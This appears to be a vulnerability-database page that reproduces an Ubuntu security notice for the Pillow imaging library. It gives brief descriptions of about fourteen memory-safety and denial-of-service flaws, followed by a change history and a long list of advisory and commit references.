It was discovered that Pillow could enter an infinite loop while determining the frame count of a MIC image. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS. (CVE-2026-112390)
It was discovered that Pillow's PdfParser.get_value() could recurse without a limit while reading nested PDF objects. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, Ubuntu 22.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 18.04 LTS. (CVE-2026-112391)
It was discovered that Pillow's rank-based filters could dereference invalid image storage for a zero-size image. An attacker could possibly use this issue to cause a crash. (CVE-2026-112392)
It was discovered that Pillow had a heap buffer overflow in _tiffWriteProc when saving compressed TIFF data. An attacker could possibly use this issue to crash the process or execute arbitrary code. (CVE-2026-112393)
It was discovered that Pillow's P;2L and P;4L raw decoders could read past the end of an input buffer. An attacker could possibly use this issue to disclose heap memory or crash the process. (CVE-2026-112394)
It was discovered that Pillow's tiled-TIFF decoder could read past the tile buffer while copying four-byte pixels. An attacker could possibly use this issue to expose heap data or crash the process. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS. (CVE-2026-112395)
It was discovered that Pillow had a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. An attacker could possibly use this issue to crash the process or execute arbitrary code. This issue only affected Ubuntu 26.10 and Ubuntu 26.04 LTS. (CVE-2026-112396)
It was discovered that Pillow's ImageMorph.MorphOp.apply() could access memory before a row buffer for a zero-width image. An attacker could possibly use this issue to cause a crash. (CVE-2026-112397)
It was discovered that Pillow's FlashPix JPEG-tile decoder could write decoded scanlines beyond the allocated tile buffer. An attacker could possibly use this issue to corrupt heap memory and execute arbitrary code. (CVE-2026-112398)
It was discovered that Pillow could allocate an APNG disposal background at the full canvas size before applying the decompression-bomb check. An attacker could possibly use this issue to exhaust memory and cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS. (CVE-2026-112399)
It was discovered that Pillow could retain a rejected GIF frame size after a decompression-bomb exception. An attacker could possibly use this issue to exhaust memory and cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, and Ubuntu 24.04 LTS. (CVE-2026-112400)
It was discovered that Pillow performed quadratic copying while parsing GIF comments. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, Ubuntu 22.04 LTS, and Ubuntu 20.04 LTS. (CVE-2026-112401)
It was discovered that Pillow could double free image memory when ImagingScaleAffine encounters a selective allocation failure. An attacker could possibly use this issue to crash the process. (CVE-2026-112402)
It was discovered that Pillow's JPEG decoder could write a full-width scanline into a buffer sized for a requested draft scale. An attacker could possibly use this issue to corrupt heap memory or execute arbitrary code. (CVE-2026-112403)
It was discovered that Pillow's TIFF tile and RGBA decode paths could read beyond row data produced by libtiff. An attacker could possibly use this issue to expose heap data or crash the process. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS.…
- Record
USN-9064-1- Updated
- 2026-11-13
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected, aliases, references | OSV | |
| affected, aliases, references | OSV | |
| affected | OSV | |
| affected, aliases, references | OSV | |
| affected, aliases, references | OSV | |
| affected, aliases | ||
| affected | ||
| affected | OSV | |
| affected | OSV | |
| affected | OSV | |
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
References
github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h
github.com/python-pillow/Pillow/pull/10073
github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c
github.com/python-pillow/Pillow/releases/tag/13.0.0
nvd.nist.gov/vuln/detail/CVE-2026-96643
github.com/advisories/GHSA-g4qv-2jxx-769h
Show 194 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96643.json
security-tracker.debian.org/tracker/CVE-2026-96643
github.com/python-pillow/Pillow
access.redhat.com/errata/RHSA-2026:92861
access.redhat.com/security/updates/classification
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_92861.json
access.redhat.com/security/cve/CVE-2026-15307
bugzilla.redhat.com/show_bug.cgi?id=2511095
cve.org/CVERecord?id=CVE-2026-15307
nvd.nist.gov/vuln/detail/CVE-2026-15307
docs.djangoproject.com/en/dev/releases/security
github.com/django/django/commit/115ffd0463a765ab1cc93de18e94b5459b8a300e
github.com/django/django/commit/208f80cb682868b584ed0a78f23e4ba6304212aa
github.com/django/django/commit/39b3e2d0c743a338def6c473086ebc06865e86b6
github.com/django/django/commit/f1949c1f9758947ade984c895ff16bef46f56520
groups.google.com/g/django-announce
djangoproject.com/weblog/2026/aug/04/security-releases
access.redhat.com/security/cve/CVE-2026-18660
bugzilla.redhat.com/show_bug.cgi?id=2553134
cve.org/CVERecord?id=CVE-2026-18660
nvd.nist.gov/vuln/detail/CVE-2026-18660
github.com/jetty/jetty.project/security/advisories/GHSA-7wfj-j486-mxrf
gitlab.eclipse.org/security/cve-assignment/-/work_items/212
access.redhat.com/security/cve/CVE-2026-19203
bugzilla.redhat.com/show_bug.cgi?id=2529768
cve.org/CVERecord?id=CVE-2026-19203
nvd.nist.gov/vuln/detail/CVE-2026-19203
github.com/jetty/jetty.project/security/advisories/GHSA-xc35-c22g-239h
access.redhat.com/security/cve/CVE-2026-56853
bugzilla.redhat.com/show_bug.cgi?id=2515827
cve.org/CVERecord?id=CVE-2026-56853
nvd.nist.gov/vuln/detail/CVE-2026-56853
go.dev/cl/795540
go.dev/issue/80205
groups.google.com/g/golang-announce/c/94pEornpRlI
pkg.go.dev/vuln/GO-2026-6089
access.redhat.com/security/cve/CVE-2026-59646
bugzilla.redhat.com/show_bug.cgi?id=2510193
cve.org/CVERecord?id=CVE-2026-59646
nvd.nist.gov/vuln/detail/CVE-2026-59646
github.com/bcgit/bc-java/commit/2d98721e71bbd822ffa0f84e088eea645cf679fa
github.com/bcgit/bc-java/commit/2ea38942c7917f6d7ab4de93d8a5336d021df0d9
github.com/bcgit/bc-java/wiki/CVE-2026-59646
access.redhat.com/security/cve/CVE-2026-68497
bugzilla.redhat.com/show_bug.cgi?id=2531964
cve.org/CVERecord?id=CVE-2026-68497
nvd.nist.gov/vuln/detail/CVE-2026-68497
github.com/FasterXML/jackson-databind/commit/a99b7e74c8928f43f6975773a8c862c8316178bd
github.com/FasterXML/jackson-databind/pull/6127
access.redhat.com/security/cve/CVE-2026-73619
bugzilla.redhat.com/show_bug.cgi?id=2515265
cve.org/CVERecord?id=CVE-2026-73619
nvd.nist.gov/vuln/detail/CVE-2026-73619
vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-archive
access.redhat.com/security/cve/CVE-2026-78667
bugzilla.redhat.com/show_bug.cgi?id=2548334
cve.org/CVERecord?id=CVE-2026-78667
nvd.nist.gov/vuln/detail/CVE-2026-78667
go.dev/cl/847309
go.dev/issue/81858
groups.google.com/g/golang-announce/c/U2fTuyDJznI
pkg.go.dev/vuln/GO-2026-6609
access.redhat.com/security/cve/CVE-2026-78669
bugzilla.redhat.com/show_bug.cgi?id=2548344
cve.org/CVERecord?id=CVE-2026-78669
nvd.nist.gov/vuln/detail/CVE-2026-78669
go.dev/cl/847186
go.dev/cl/847308
go.dev/issue/81742
groups.google.com/g/golang-announce/c/ZPwCyRUuGBs
pkg.go.dev/vuln/GO-2026-6611
access.redhat.com/security/cve/CVE-2026-78677
bugzilla.redhat.com/show_bug.cgi?id=2523215
cve.org/CVERecord?id=CVE-2026-78677
nvd.nist.gov/vuln/detail/CVE-2026-78677
vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir
access.redhat.com/security/cve/CVE-2026-84445
bugzilla.redhat.com/show_bug.cgi?id=2533175
cve.org/CVERecord?id=CVE-2026-84445
nvd.nist.gov/vuln/detail/CVE-2026-84445
access.redhat.com/security/cve/CVE-2026-87819
bugzilla.redhat.com/show_bug.cgi?id=2530742
cve.org/CVERecord?id=CVE-2026-87819
nvd.nist.gov/vuln/detail/CVE-2026-87819
vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos
access.redhat.com/security/cve/CVE-2026-89407
bugzilla.redhat.com/show_bug.cgi?id=2538720
cve.org/CVERecord?id=CVE-2026-89407
nvd.nist.gov/vuln/detail/CVE-2026-89407
access.redhat.com/security/cve/CVE-2026-89425
bugzilla.redhat.com/show_bug.cgi?id=2539084
cve.org/CVERecord?id=CVE-2026-89425
nvd.nist.gov/vuln/detail/CVE-2026-89425
access.redhat.com/security/cve/CVE-2026-94440
bugzilla.redhat.com/show_bug.cgi?id=2548341
cve.org/CVERecord?id=CVE-2026-94440
nvd.nist.gov/vuln/detail/CVE-2026-94440
go.dev/cl/847307
go.dev/issue/81741
pkg.go.dev/vuln/GO-2026-6608
access.redhat.com/security/cve/CVE-2026-96640
bugzilla.redhat.com/show_bug.cgi?id=2558576
cve.org/CVERecord?id=CVE-2026-96640
nvd.nist.gov/vuln/detail/CVE-2026-96640
bugzilla.redhat.com/show_bug.cgi?id=2558566
cve.org/CVERecord?id=CVE-2026-96643
bugzilla.redhat.com/show_bug.cgi?id=2558567
cve.org/CVERecord?id=CVE-2026-96778
nvd.nist.gov/vuln/detail/CVE-2026-96778
go.dev/cl/847312
go.dev/issue/81855
pkg.go.dev/vuln/GO-2026-6607
vulncheck.com/advisories/gitpython-before-3.2.0-redos-via-re-actor-epoch-in-parse-actor-and-date
vulncheck.com/advisories/gitpython-before-3.2.0-command-execution-via-ls-remote-ext-urls
vulncheck.com/advisories/gitpython-3.1.30-before-3.2.0-command-injection-via-remote-pull-refspec
vulncheck.com/advisories/gitpython-before-3.2.0-arbitrary-file-read-via-head-checkout-branch-name
nodejs.org/en/blog/vulnerability/october-2026-security-releases
cisa.gov/known-exploited-vulnerabilities-catalog
groups.google.com/g/golang-nuts/c/K22sG2AYnKU
pkg.go.dev/vuln/GO-2026-6809
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_95655.json
docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-1-released
gitlab.com/gitlab-org/gitlab/-/work_items/628577
hackerone.com/reports/4019059
ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves
gitlab.com/gitlab-org/gitlab/-/work_items/629758
hackerone.com/reports/3995696
docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released
gitlab.com/gitlab-org/gitlab/-/work_items/630686
hackerone.com/reports/4055749
hackerone.com/reports/4058589
docs.gitlab.com/releases/patches/patch-release-gitlab-19-5-1-released
gitlab.com/gitlab-org/gitlab/-/work_items/633633
hackerone.com/reports/4093475
portal.perforce.com/s/cve/a91Qi000003IaHpIAK/report-deserialization-code-execution
voxpupuli.org/blog/2026/11/03/critical-cve-updates
openwall.com/lists/oss-security/2026/11/03/14
portal.perforce.com/s/cve/a91Qi000003IaJRIA0/certificate-name-authorization-bypass
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_95656.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_95657.json
suse.com/support/update/announcement/2026/suse-su-202624656-1
bugzilla.suse.com/1286256
bugzilla.suse.com/1286273
bugzilla.suse.com/1286287
bugzilla.suse.com/1286311
bugzilla.suse.com/1286312
bugzilla.suse.com/1286313
bugzilla.suse.com/1286314
bugzilla.suse.com/1286325
bugzilla.suse.com/1286368
bugzilla.suse.com/1286370
bugzilla.suse.com/1286372
bugzilla.suse.com/1286381
bugzilla.suse.com/1286388
bugzilla.suse.com/1286392
bugzilla.suse.com/1286396
bugzilla.suse.com/1286397
bugzilla.suse.com/1286398
bugzilla.suse.com/1286399
suse.com/security/cve/CVE-2026-112390
suse.com/security/cve/CVE-2026-112391
suse.com/security/cve/CVE-2026-112392
suse.com/security/cve/CVE-2026-112393
suse.com/security/cve/CVE-2026-112394
suse.com/security/cve/CVE-2026-112395
suse.com/security/cve/CVE-2026-112396
suse.com/security/cve/CVE-2026-112397
suse.com/security/cve/CVE-2026-112398
suse.com/security/cve/CVE-2026-112399
suse.com/security/cve/CVE-2026-112400
suse.com/security/cve/CVE-2026-112401
suse.com/security/cve/CVE-2026-112402
suse.com/security/cve/CVE-2026-112403
suse.com/security/cve/CVE-2026-112404
suse.com/security/cve/CVE-2026-112405
suse.com/security/cve/CVE-2026-112406
ubuntu.com/security/CVE-2026-96643
ubuntu.com/security/notices/USN-9064-1
ubuntu.com/security/CVE-2026-42308
ubuntu.com/security/CVE-2026-42310
ubuntu.com/security/CVE-2026-96636
ubuntu.com/security/CVE-2026-96637
ubuntu.com/security/CVE-2026-96638
ubuntu.com/security/CVE-2026-96639
ubuntu.com/security/CVE-2026-96640
ubuntu.com/security/CVE-2026-96641
ubuntu.com/security/CVE-2026-96642
ubuntu.com/security/CVE-2026-96778
ubuntu.com/security/CVE-2026-112390
ubuntu.com/security/CVE-2026-112391
ubuntu.com/security/CVE-2026-112392
ubuntu.com/security/CVE-2026-112393
ubuntu.com/security/CVE-2026-112394
ubuntu.com/security/CVE-2026-112395
Left out here: 297 references and the rest of 3 source descriptions. The JSON record has them.